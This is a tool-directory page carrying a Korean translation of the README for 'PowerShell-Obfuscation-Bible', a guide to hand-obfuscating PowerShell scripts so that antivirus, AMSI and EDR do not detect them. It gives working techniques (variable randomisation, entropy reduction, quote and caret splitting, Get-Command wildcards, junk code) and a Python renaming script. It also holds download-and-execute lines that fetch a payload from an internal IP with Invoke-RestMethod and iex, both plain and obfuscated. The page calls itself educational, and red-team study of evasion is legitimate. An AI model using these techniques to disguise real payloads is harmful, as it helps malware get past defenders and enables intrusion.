Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
PowerShell-Obfuscation-Bible — A collection of techniques, examples and a little bit of theory for manually obfuscating PowerShell scripts to achieve AV evasion, compiled for educational purposes. The contents of this repository are the result of personal research, including reading materials online and conducting trial-and-error attempts in labs and pentests. | Kitploit
도구/GitHubGitHub/t3l3machus/powershell-obfuscation-bible
IDS/IPS EvasionPenetration TestingLearning & EducationRed TeamingCurated ResourcesPayload Development
GitHubt3l3machus/powershell-obfuscation-bible

PowerShell-Obfuscation-Bible

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →

소개

A collection of techniques, examples and a little bit of theory for manually obfuscating PowerShell scripts to achieve AV evasion, compiled for educational purposes. The contents of this repository are the result of personal research, including reading materials online and conducting trial-and-error attempts in labs and pentests.

1.2k1392년 전Kitploit 검토 완료
공유

PowerShell 난독화 바이블

Python License

서명 기반 탐지를 우회하기 위해 PowerShell 스크립트를 수동으로 난독화하는 기법, 예제, 그리고 약간의 이론을 모아 둔 자료로, 교육 목적으로 작성되었습니다. 이 저장소의 내용은 개인 연구의 결과물이며, 온라인 자료 읽기와 실험실 및 펜테스트에서의 시행착오 시도를 포함합니다. 모든 내용을 그대로 믿지는 마십시오.

YouTube 동영상 프레젠테이션: youtube.com/watch?v=tGFdmAh_lXE

⚠️ 고지 사항: 이 저장소에 설명된 기술과 개념을 테스트할 권한이 없는 시스템에 무단 접근하는 데 사용하는 것은 불법입니다. 귀하의 행동에 대한 책임은 귀하에게 있습니다. 악한 짓을 하지 마세요.

목차

  1. 엔트로피
  2. 탐지 트리거 식별
  3. 개체 이름 변경
  4. 부울 값 난독화
  5. Cmdlet 따옴표 중단
  6. Cmdlet 캐럿 중단
  7. Get-Command 기법
  8. 루프 대체
  9. 명령 대체
  10. 문자열 교란
  11. 쓸데없는 코드 추가
  12. 주석 추가 또는 제거
  13. 대소문자 무작위화
  14. 스크립트 구성 요소 재배치
  15. 스크립트를 한 줄씩 실행

엔트로피

과학 용어 entropy는 일반적으로 시스템의 무작위성 또는 무질서의 척도로 정의되며, AV 회피에서 중요합니다. 그 이유는 악성코드에는 분석을 어렵게 만들어 탐지를 피하기 위해 고도로 무작위화되고 암호화 및/또는 인코딩된(난독화된) 코드가 포함되는 경우가 많기 때문입니다. 다양한 방법 중 하나로, 안티바이러스 제품은 엔트로피 분석을 사용하여 잠재적으로 악성인 파일과 페이로드를 식별합니다.

코드를 난독화할 때 선택한 변경 사항이 만들어내는 엔트로피 변동을 염두에 두어야 하므로 이 개념을 이해하는 것이 중요합니다. 시그니처를 깨는 것은 쉽지만, 엔트로피 수준에 주의를 기울이지 않으면 정교한 AV/EDR이 이를 꿰뚫어 볼 것입니다.

명심해야 할 원칙: 엔트로피가 클수록 데이터가 난독화 또는 암호화되었을 가능성이 높고, 파일/페이로드가 악성일 확률도 높아집니다. 다행히도 엔트로피를 낮출 방법이 있습니다.

Claude E. Shannon은 1948년 논문 A Mathematical Theory of Communication에서 데이터 집합의 엔트로피를 측정하는 데 사용할 수 있는 공식을 소개했습니다. 다음은 개발하는 페이로드의 엔트로피를 측정하는 데 사용할 수 있는 Shannon Entropy의 간단한 Python 구현입니다:

root@kitploit:~
#!/bin/python3
# Usage: python3 entropy.py <file>

import math, sys

def entropy(string):
    "Calculates the Shannon entropy of a UTF-8 encoded string"

    # decode the string as UTF-8
    unicode_string = string.decode('utf-8')

    # get probability of chars in string
    prob = [ float(unicode_string.count(c)) / len(unicode_string) for c in dict.fromkeys(list(unicode_string)) ]

    # calculate the entropy
    entropy = - sum([ p * math.log(p) / math.log(2.0) for p in prob ])

    return entropy


f = open(sys.argv[1], 'rb')
content = f.read()
f.close()

print(entropy(content))

또한 온라인 Shannon Entropy 계산기 또는 Microsoft의 Sigcheck.exe를 -a 옵션과 함께 사용할 수도 있습니다.

탐지 트리거 식별

탐지되지 않는 페이로드 변형을 만들기 위해 시행착오 난독화 테스트에 뛰어들기 전에, 스크립트에서 악성코드 탐지를 유발하는 부분을 식별하는 것이 성숙하고 세련된 방법입니다. 특히 C2 명령과 같은 짧은 스크립트에서는 사소한 변경만으로도 바로 탐지를 피할 수 있습니다.

이러한 트리거를 식별하는 훌륭한 도구는 AMSITrigger입니다. 다음은 악성 스크립트가 포함된 파일을 사용한 예입니다. 빨간색 영역은 난독화를 적용해야 하는 부분을 나타냅니다:

image

스크립트를 부분적으로 실행하여 트리거를 수동으로 식별할 수도 있습니다.

개체 이름 변경

스크립트를 난독화할 때 변수/클래스/함수 이름을 무작위 이름으로 바꾸는 것이 우선순위가 되어야 합니다. 그렇게 하면 다른 기법과 결합하여 탐지를 쉽게 우회할 수 있습니다. 그러나 개발하는 페이로드의 엔트로피를 염두에 두어야 합니다. 대부분의 AV(전부는 아니더라도)가 일반적으로 탐지하는 다음의 표준 리버스 셸 스크립트를 고려해 보십시오:

image

이제 다음 난독화된 버전을 고려해 보십시오:

image

이 버전에서는 모든 변수 이름이 32자 길이의 무작위 이름으로 대체되었습니다. 또한 (pwd).Path를 $(gl)로 교체했습니다. 이 페이로드의 Shannon entropy는 4.96입니다. 이 글을 작성하는 시점에 MS Defender와 다른 여러 제품에서 탐지되지 않습니다:

image

이제 다음 버전을 고려해 보십시오:

image

이 변형 역시 모든 변수 이름이 대체되었지만, 이번에는 x개의 'f' 문자로 구성된 이름을 사용하여 페이로드의 엔트로피가 크게 낮아졌습니다. 여기서도 (pwd).Path를 $(gl)로 교체했습니다. 다시 말하지만, 작성 시점에 MS Defender에서 탐지되지 않습니다. 이 페이로드의 Shannon entropy는 0.76입니다.

image

⚡ 두 변형 모두 일반적인 AV를 우회하지만, 두 번째 변형은 엔트로피가 더 낮아 EDR 및 기타 정교한 안티멀웨어 엔진에서 처리될 때 더 나은 기회를 가질 것입니다. ⚠️ 이 예시에서 두 번째 페이로드 변형의 더 나은 성능이 확실히 엔트로피 수준 때문이라고 말하는 것은 아닙니다(실제로 알 수 없습니다. 길이 때문이거나 둘 다일 수도 있고 누가 알겠습니까). 그러나 이것은 난독화를 할 때 염두에 두어야 할 중요한 측면이며, 이 예시는 그 개념을 강조하기 위한 것입니다.

아래 스크립트를 사용하여 PowerShell 스크립트의 변수 이름을 무작위화할 수 있습니다. ⚠️ 이 스크립트는 완벽하지 않습니다! 크고 복잡한 PowerShell 스크립트에 대해 실행하면 대체해서는 안 되는 항목을 대체하여 기능을 망가뜨릴 수 있습니다. 주의해서 사용하십시오.

root@kitploit:~
#!/bin/python3
#
# This script is an example. It is not perfect and you should use it with caution.
# Source: https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
# Usage: python3 randomize-variables.py <path/to/powershell/script>

import re
from sys import argv
from uuid import uuid4

def get_file_content(path):
	f = open(path, 'r')
	content = f.read()
	f.close()
	return content
	

def main():

	payload = get_file_content(argv[1])
	used_var_names = []

	# Identify variables definitions in script
	variable_definitions = re.findall('\$[a-zA-Z0-9_]*[\ ]{0,}=', payload)
	variable_definitions.sort(key=len)
	variable_definitions.reverse()

	# Replace variable names
	for var in variable_definitions:
		
		var = var.strip("\n \r\t=")

		while True:
			
			new_var_name = uuid4().hex
			
			if (new_var_name in used_var_names) or (re.search(new_var_name, payload)):
				continue
				
			else:
				used_var_names.append(new_var_name)
				break	
						
		payload = payload.replace(var, f'${new_var_name}')
	
	print(payload + '\n')

	
main()

부울 값 난독화

$True와 $False 값을 다른 부울 동등 값으로 바꾸는 것은 매우 재미있고 쉬우며, 그런 값은 말 그대로 무한합니다. 특히 주어진 페이로드에서 탐지 트리거를 식별했고 그 트리거에 $True 또는 $False 값이 포함된 경우, 단순히 부울 대체 값으로 바꾸는 것만으로 탐지를 우회할 수 있을 것입니다. 아래 예제는 모두 True로 평가됩니다. 표현식 앞에 느낌표를 추가하면 간단히 False로 뒤집을 수 있습니다 (예: ![bool]0x01):

  • 말 그대로 0, Null, empty string이 아닌 모든 것에 대한 부울 형변환은 True를 반환합니다:
root@kitploit:~
[bool]1254
[bool]0x12AE
[bool][convert]::ToInt32("111011", 2) # Converts a string to int from base 2 (binary)
![bool]$null
![bool]$False
[bool]"Any non empty string"
[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/-12354893)   # Boolean typecast of a negative number 
[bool](12 + (3 * 6))
[bool](Get-ChildItem -Path Env: | Where-Object {$_.Name -eq "username"})
[bool]@(0x01BE)
[bool][System.Collections.ArrayList]
[bool][System.Collections.CaseInsensitiveComparer]
[bool][System.Collections.Hashtable]

# Well, you get the point.
  • 모든 클래스의 부울 형변환도 True를 반환합니다:
root@kitploit:~
[bool][bool]
[bool][char]
[bool][int] 
[bool][string]
[bool][double]
[bool][short]
[bool][decimal]
[bool][byte]
[bool][timespan]
[bool][datetime]
  • True로 평가되는 비교의 결과 (당연한 말이죠):
root@kitploit:~
(9999 -eq 9999)
([math]::Round([math]::PI) -eq (4583 - 4580))
[Math]::E -ne [Math]::PI
  • 또는 개체의 특성에서 True 값을 가져올 수도 있습니다:
root@kitploit:~
$x = [System.Data.AcceptRejectRule].Assembly.GlobalAssemblyCache
$x = [System.TimeZoneInfo+AdjustmentRule].IsAnsiClass
$x = [mailaddress].IsAutoLayout
$x = [ValidateCount].IsVisible
  • 또는 True나 False를 표현하는 끔찍한 방법을 조합하여 모든 것을 이상하게 섞을 수도 있습니다:
root@kitploit:~
[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/!%5Bbool%5D$null)
[System.Collections.CaseInsensitiveComparer] -ne [bool][datetime]'2023-01-01'
[bool]$(Get-LocalGroupMember Administrators)
!!!![bool][bool][bool][bool][bool][bool]

Cmdlet 따옴표 중단

cmdlet의 문자 사이에 작은따옴표 및/또는 큰따옴표를 추가하여 난독화할 수 있습니다. 단, 시작 부분에는 안 됩니다. 매우 효과적입니다! 예를 들어 표현식 iex "pwd"는 다음과 같이 대체할 수 있습니다:

root@kitploit:~
i''ex "pwd"
i''e''x "pwd"
i''e''x'' "pwd"
ie''x'' "pwd"
iex'' "pwd"
i""e''x"" "pwd"
ie""x'' "pwd"

# and so on... but also:

i''ex "p''wd"
i''e''x "p''w''d"
i''e''x'' "p''w''d''"
ie''x'' "pw''d`"`""
iex'' "p`"`"w`"`"d`"`""
i""e''x"" "p`"`"w`"`"d''"
ie""x'' "p`"`"w''d`"`""

# You get the point.

Cmdlet 캐럿 중단

약간 지저분하지만 유용할 수 있습니다. Windows CMD 터미널에서는 명령의 문자 사이에 캐럿(^) 기호를 추가해도 명령이 정상적으로 해석됩니다. PowerShell 스크립트에서 이를 활용하는 한 가지 방법은 다음과 같습니다:

root@kitploit:~
cmd /c "who^am^i"

Untistled

Get-Command 기법

제 친구이자 대단한 해커인 Karol Musolff (@kmusolff)가 알려준 정말 멋진 트릭입니다. Get-Command(또는 gcm)를 사용하면 와일드카드를 통해 Path 환경 변수($env:Path)에 있는 PowerShell이 아닌 파일을 포함한 모든 명령의 이름(문자열)을 가져올 수 있습니다. 그런 다음 & 연산자를 사용하여 작업으로 실행할 수 있습니다. 예를 들어 다음 줄은:

root@kitploit:~
Invoke-RestMethod -uri https://192.168.0.66/malware | iex

다음과 같이 난독화할 수 있습니다:

root@kitploit:~
&(Get-Command i????e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)

또는 더 나은 방법으로, 더 낮은 Shannon entropy 값을 갖는 이 방법이 있습니다:

root@kitploit:~
&(Get-Command i************************************************************e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)

루프 대체

특정 루프는 다른 루프 유형이나 함수로 대체할 수 있습니다. 예를 들어 While ($True){ # some code } 루프는 다음과 같이 대체할 수 있습니다:
무한 For 루프

root@kitploit:~
For (;;) { # some code }

Do-While 루프

root@kitploit:~
Do { # some code } While ($true)

Do-Until 루프

root@kitploit:~
Do { # some code } Until (1 -eq 2)

재귀 함수

root@kitploit:~
function runToInfinity { 
 # do something;  
 runToInfinity;
}

쓸데없는 코드 추가

매개변수 추가/제거

cmdlet에 매개변수를 추가해 볼 수 있습니다. 예를 들어 다음 줄:

root@kitploit:~
iex "whoami"

다음과 같이 확장할 수 있습니다:

root@kitploit:~
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire "whoami"

물론 그 반대도 시도할 수 있습니다.

임의 개체 추가

스크립트에 무작위 변수와 함수를 '오염'시킬 수 있습니다. 다음 스크립트를 악성이라고 가정해 보겠습니다:

root@kitploit:~
$b64 = $(irm -uri http://192.168.0.66/malware); 
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));
iex $virus;

다음과 같이 하면 시그니처를 깨뜨릴 수 있을 것입니다:

root@kitploit:~
$b64 = $(irm -uri http://192.168.0.66/malware); sleep 0.01;sleep 0.01;Get-Process | Out-Null;
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));sleep 0.01;sleep 0.01;Measure-Object | Out-Null;
iex $virus;

명령 대체

스크립트에서 동일하거나 유사한 기능을 가진 구성 요소로 대체할 수 있는 명령이나 전체 코드 블록을 항상 찾아볼 수 있습니다. 다음의 전형적인 리버스 셸 스크립트에서 pwd 명령은 현재 작업 디렉터리를 가져와 셸의 프롬프트 값을 재구성하는 데 사용됩니다:
image

(pwd).Path 부분은 다음의 이상하고 비정통적인 작은 스크립트로 대체할 수 있습니다. 여기에 pwd가 포함되어 있긴 하지만, 스크립트의 기능을 유지하면서 시그니처를 깨는 우리의 목적을 달성합니다:

root@kitploit:~
"$($p = (Split-Path `"$(pwd)\\0x00\`");if ($p.trim() -eq ''){echo 'C:\'}else{echo $p})"

물론 pwd를 대체할 더 간단한 방법으로는 gl, get-location, cmd.exe /c chdir 등이 있으며, 특히 다른 기법과 결합하면 효과가 있을 수 있습니다.

문자열 교란

문자열로 할 수 있는 일에는 끝이 없습니다. 아래에 몇 가지 흥미로운 개념을 소개합니다. 예제에서는 문자열 'malware'를 사용합니다:

문자열을 here-string으로 변환

몇 줄을 추가하는 대가로 문자열을 here-string으로 바꿀 수 있습니다.
이것:

root@kitploit:~
$x = 'echo malware';
iex $x;

다음과 동일합니다:

root@kitploit:~
$x = 'echo malware';
iex @"
$x
"@

문자열 뒤집기

root@kitploit:~
$x="Your string reversed".ToCharArray(); [array]::reverse($x); $x -join ""

문자열 연결

매우 간단하고 전형적입니다:

root@kitploit:~
'mal' + 'w' + 'ar' + 'e'

substring으로 문자열 가져오기:

관련 없는 문자열 사이에 원하는 값을 넣고 substring()을 사용하여 시작-끝 인덱스를 기준으로 추출합니다:

root@kitploit:~
'xxxmalwarexxx'.Substring(3,7)

regex 일치로 문자열 바꾸기:

정크 문자열을 만들고 regex 일치를 통해 원하는 값으로 바꿉니다:

root@kitploit:~
'a123' -replace '[a-zA-Z]{1}[\d]{1,3}','malware'

원하는 문자열을 Base64 디코딩:

문자열을 인코딩하고 스크립트 내에서 디코딩합니다:

root@kitploit:~
[System.Text.Encoding]:https://raw.githubusercontent.com/t3l3machus/powershell-obfuscation-bible/HEAD/:Default.GetString(%5BSystem.Convert%5D::FromBase64String(%22bWFsd2FyZQ==%22))

원하는 문자열의 문자를 바이트에서 가져오기:

root@kitploit:~
"$([char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x6d)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x6c)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x77)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x72)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x65))"

우선 여기까지입니다. 계속됩니다...

주석 추가 또는 제거

주석 추가

여기저기에 주석을 추가하여 스크립트를 난독화하는 것만으로도 효과가 있을 수 있습니다.
예를 들어, 리버스 셸 명령은 다음과 같이 난독화할 수 있습니다:

원본 (AV가 쉽게 탐지하는 일반적인 r-shell 명령)

image

수정본 (여러 곳에 <# Suspendisse imperdiet lacus eu tellus pellentesque suscipit #> 추가됨)

image

이 방법은 효과가 있을 뿐만 아니라 페이로드의 Shannon entropy 값도 낮춥니다(복잡한 무작위 주석을 사용하지 않는 경우).

주석 제거

AMSI를 즉시 트리거하는 악성 문자열이 있으며, 스크립트를 난독화할 때 이를 교체하는 것이 우선순위가 되어야 합니다. 이것을 보십시오:
image

터미널에 'invoke-mimikatz'라는 문자열을 입력하는 것만으로도 AMSI에 경보가 발생합니다(스크립트가 실제로 존재하거나 로드되지도 않았는데도 말이죠). 이러한 문자열은 주석에서도 발견될 수 있으므로, 특히 인터넷에서 가져온 FOS 리소스(예: GitHub의 Invoke-Mimikatz.ps1)에서는 제거하는 것이 좋습니다.

*일반적으로 주석을 제거하는 것이 좋습니다. 이것은 단지 예시일 뿐입니다.

대소문자 무작위화

아마도 가장 오래된 방법일 것입니다. cmdlet과 매개변수의 대소문자를 무작위화하면 도움이 될 수 있습니다:

root@kitploit:~
inVOkE-eXpReSSioN -vErbOse "WHoAmI /aLL" -dEBug

스크립트 구성 요소 재배치

때로는 변수와 클래스를 다른 위치로 옮기는 것만으로도 효과가 있을 수 있습니다. 특히 탐지 트리거를 찾았고 그 트리거에 스크립트의 다른 곳(예: 시작 부분)에서 정의될 수 있는 변수 정의가 포함된 경우에 그렇습니다.

스크립트를 한 줄씩 실행

때로는 악성 스크립트를 한 줄씩 실행하는 것만으로 AV 탐지를 우회할 수 있습니다. 물론 상황에 따라 실행하기 어려울 수 있습니다. 시도하는 경우, 전체로 실행해야 하는 스크립트 블록(예: 루프, try-catch 블록, 조건문, 함수 정의 등)에 유의하십시오. 테스트하려면 일반적인 PowerShell 리버스 셸 스크립트(난독화를 적용하지 않은)를 가져와 한 줄씩 실행해 보십시오. 탐지되나요? ;)

도구 다운로드